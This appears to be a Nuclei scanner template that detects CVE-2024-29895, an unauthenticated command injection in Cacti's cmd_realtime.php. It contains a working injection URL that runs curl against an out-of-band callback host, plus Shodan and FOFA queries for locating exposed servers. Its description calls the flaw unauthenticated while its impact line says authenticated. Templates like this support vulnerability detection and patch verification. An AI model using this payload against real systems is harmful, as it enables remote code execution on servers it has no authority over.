id: CVE-2024-29895

info:
  name: Cacti cmd_realtime.php - Command Injection
  author: pussycat0x
  severity: critical
  description: |
    Cacti provides an operational monitoring and fault management framework. A command injection vulnerability on the 1.3.x DEV branch allows any unauthenticated user to execute arbitrary command on the server when `register_argc_argv` option of PHP is `On`. In `cmd_realtime.php` line 119, the `$poller_id` used as part of the command execution is sourced from `$_SERVER['argv']`, which can be controlled by URL when `register_argc_argv` option of PHP is `On`. And this option is `On` by default in many environments such as the main PHP Docker image for PHP.
  impact: |
    Authenticated attackers can inject and execute arbitrary commands on the Cacti server.
  remediation: |
    Update Cacti to a version that patches the command injection vulnerability.
  reference:
    - https://github.com/Stuub/CVE-2024-29895-CactiRCE-PoC
    - https://github.com/Cacti/cacti/blob/501712998589763d411a68d35e3cda98fd9cfd18/cmd_realtime.php#L119
    - https://github.com/Cacti/cacti/commit/53e8014d1f082034e0646edc6286cde3800c683d
    - https://github.com/Cacti/cacti/commit/99633903cad0de5ace636249de16f77e57a3c8fc
    - https://github.com/Cacti/cacti/security/advisories/GHSA-cr28-x256-xf5m
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-29895
    cwe-id: CWE-77
    epss-score: 0.94378
    epss-percentile: 0.99841
  metadata:
    max-request: 1
    vendor: cacti
    product: cacti
    shodan-query: http.favicon.hash:-1797138069
    fofa-query: icon_hash="-1797138069"
  tags: cve,cve2024,cacti,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cacti/cmd_realtime.php?1+1&&curl%20{{interactsh-url}}+1+1+1"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fd2206146d3abda4fc3a1cb13e134d3893d6a7bf0777486f55b1e93cb38f1e9c022100d38e3e09ca0f3045c62fb211c7e01c4f58ca720dad24f7d78d5d8a447eeb2823:922c64590222798bb761d5b6d8e72950